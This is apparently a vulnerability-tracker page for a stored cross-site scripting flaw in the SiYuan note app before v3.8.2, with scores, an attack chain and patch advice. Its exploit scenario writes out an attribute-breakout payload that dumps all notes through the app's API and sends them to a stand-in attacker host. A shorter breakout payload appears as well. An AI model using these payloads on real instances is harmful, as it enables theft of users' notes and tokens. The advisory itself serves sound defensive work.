Skip to main content

SiYuan CVE-2026-87811

| EUVDEUVD-2026-74837 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-09-09 VulnCheck GHSA-qx37-mp6w-43mm
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to shared SiYuan instance
  2. Delivery
    Set malicious template path on notebook
  3. Exploit
    Victim opens notebook configuration panel
  4. Execution
    Attribute breakout executes injected JavaScript
  5. Persist
    Issue same-origin SiYuan API requests
  6. Impact
    Exfiltrate notes or manipulate application state

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two conditions: first, the attacker must have at least low-privilege authenticated access to a SiYuan instance sufficient to configure or create a notebook and set its template path (PR:L per CVSS); second, a victim user with broader access must open the notebook's configuration panel after the malicious path has been persisted (UI:A per CVSS). Non-default multi-user deployment or shared access scenarios substantially increase the risk of both conditions being met simultaneously. In a single-user local installation, the attacker and victim are the same person, making exploitation self-inflicted and of limited practical concern. The vulnerability does not require any specific OS platform, network protocol, or optional feature beyond the notebook template path field being reachable - no unusual configuration is required beyond having a multi-user environment where the attacker can write template paths.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N) scores 8.4 and accurately characterizes the threat model: low-privilege authenticated access is needed to plant the payload (PR:L), and a victim must open the notebook configuration panel to trigger it (UI:A). The high confidentiality and integrity impact (VC:H/VI:H) reflect the ability to make same-origin API calls - potentially exfiltrating all notes, API tokens, or user data - and to manipulate application state. Attack complexity is low once access is established. EPSS data is not available in the supplied intelligence. This CVE has no CISA KEV listing and no confirmed public exploit code, so real-world exploitation probability is currently speculative. For single-user local deployments, the PR:L requirement is a meaningful limiting factor, since the attacker and victim would need to share a SiYuan instance. In multi-user or team deployments exposed to a network, the risk is materially higher: any lower-privileged user could target another. The absence of availability impact (VA:N) is consistent with the payload's focus on data theft and API abuse rather than service disruption.

Exploit ScenarioDerived

An attacker with a low-privilege account on a shared SiYuan instance sets a notebook's template path to a value such as '" autofocus onfocus="fetch('/api/query',{method:'POST',body:JSON.stringify({stmt:'SELECT * FROM blocks'})}).then(r=>r.json()).then(d=>fetch('https://attacker.example/exfil?d='+btoa(JSON.stringify(d))))//'. When an administrator or co-user next opens that notebook's configuration page, the injected handler fires automatically, exfiltrating all indexed note content to the attacker's server via a same-origin API query. No public exploit code has been identified, but the technique is trivially reproducible by any developer familiar with attribute-context XSS.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 09, 2026

Stored XSS in SiYuan note-taking application before v3.8.2 allows an authenticated attacker to achieve same-origin JavaScript execution in a victim's browser session. Notebook template paths are persisted to storage and later reflected into HTML input value attributes without attribute-context encoding, enabling an attacker who can write a template path to inject JavaScript that executes when any user opens the affected notebook's configuration panel. Successful exploitation permits same-origin API requests and full application state manipulation, including access to notes, attachments, and configuration secrets. No public exploit code has been identified at time of analysis, and CISA KEV status is not confirmed.

RemediationAI

Upgrade SiYuan to v3.8.2 or later, which is the vendor-confirmed patched release per the GitHub security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v6wf-r2gr-rrgf. The fix is expected to apply proper HTML attribute encoding (e.g., HTML-escaping double quotes and angle brackets) before inserting template paths into input value attributes. For deployments that cannot upgrade immediately, restricting access to notebook configuration panels to trusted users only - via network-level controls or SiYuan's access control settings - reduces exposure, though it does not eliminate the underlying defect. In multi-user or team-shared instances, auditing existing notebook template paths for suspicious attribute-breaking characters (unencoded double-quotes, angle brackets, JavaScript event handler keywords) is advisable as a triage step.

Affected VersionsENISA

SiYuan 0 <3.8.2

Affected Packages

euvd siyuan fix: 3.8.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SiYuan (CPE: cpe:2.3:a:siyuan-note:siyuan:*:*:*:*:*:*:*:*) is a self-hosted, Electron-backed personal knowledge management and note-taking application with a web-based UI served over a local or networked HTTP endpoint. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is a classic stored XSS: template paths supplied during notebook configuration are written to persistent storage and later interpolated directly into HTML input value attributes - e.g., <input value="[TEMPLATE_PATH]"> - without HTML attribute encoding. An attacker who controls the template path value can inject a payload such as '" onmouseover="evil()' to break out of the attribute context and attach arbitrary event handlers or inline scripts. Because SiYuan's API operates on the same origin as its UI, injected scripts inherit full same-origin trust, giving them access to the full API surface.

Know when Siyuan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.7 HIGH

Stored XSS planted by PR:L attacker, triggered by victim UI interaction, with scope change and full same-origin API access justifying C:H/I:H.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Sep 09, 2026 - 12:03 EUVD
CVE Published
Sep 09, 2026 - 11:20 cve.org
HIGH 8.4

DescriptionCVE.org

SiYuan before v3.8.2 inserts persisted notebook template paths into HTML input value attributes without proper attribute encoding. Attackers can craft malicious template paths that break out of the attribute context and execute JavaScript when a victim opens notebook configuration, enabling same-origin API requests and application state manipulation.

Technical POC Analysis

Stored cross-site scripting (CWE-79): persisted user-influenced notebook configuration is later interpolated into an HTML attribute value without attribute-context escaping.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

SiYuan note-taking application versions prior to 3.8.2 contain a stored cross-site scripting vulnerability that allows authenticated users to inject malicious code affecting other users' browser sessions. Exploitation permits unauthorized access to sensitive notes, attachments, and configuration data through same-origin JavaScript execution. Organizations using SiYuan for collaborative work or sensitive documentation face material risk of data compromise through insider threats or compromised user accounts.

Business Impact: High
Compensating Controls

Apply vendor patch: upgrade to SiYuan v3.8.2 or later.

Threat Intelligence Overview

EPSS Score
0.2%
Top 89% exploitable
Prevalence
Low
niche self-hosted personal knowledge management app
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Siyuan

View all
CVE-2026-69083 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan's fullTextSearchAssetContent endpoint lets unauthenticated attackers and holders of publish Role

CVE-2026-54067 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan personal knowledge management before 3.7.0 lets an attacker with write access to a

CVE-2026-69084 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge management (versions <= v3.7.2) lets attackers pass arbitrary SQL statements

CVE-2026-54158 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan's attribute-view (database) cell renderer, affecting all versions prior to 3.7.0,

CVE-2026-69085 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge-management software (all versions before v3.7.3) lets attackers inject arbitr

CVE-2024-53507 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems. Rated critical severity (CVSS 9.8), t

CVE-2024-53506 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs. R

CVE-2024-53505 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent. Rated criti

CVE-2024-53504 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory. Rated c

CVE-2026-23852 CRITICAL POC
9.6 Jan 19

SiYuan personal knowledge management system prior to 3.5.4 has a stored XSS vulnerability (CVSS 9.6) that allows code ex

CVE-2026-56397 CRITICAL POC
9.4 Jun 21

Remote code execution in SiYuan note-taking application (before v3.6.1) allows any malicious Bazaar marketplace package

CVE-2026-54069 CRITICAL POC
9.2 Jun 24

Origin-validation bypass in SiYuan Note (open-source personal knowledge management) before 3.7.0 lets any installed Chro

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy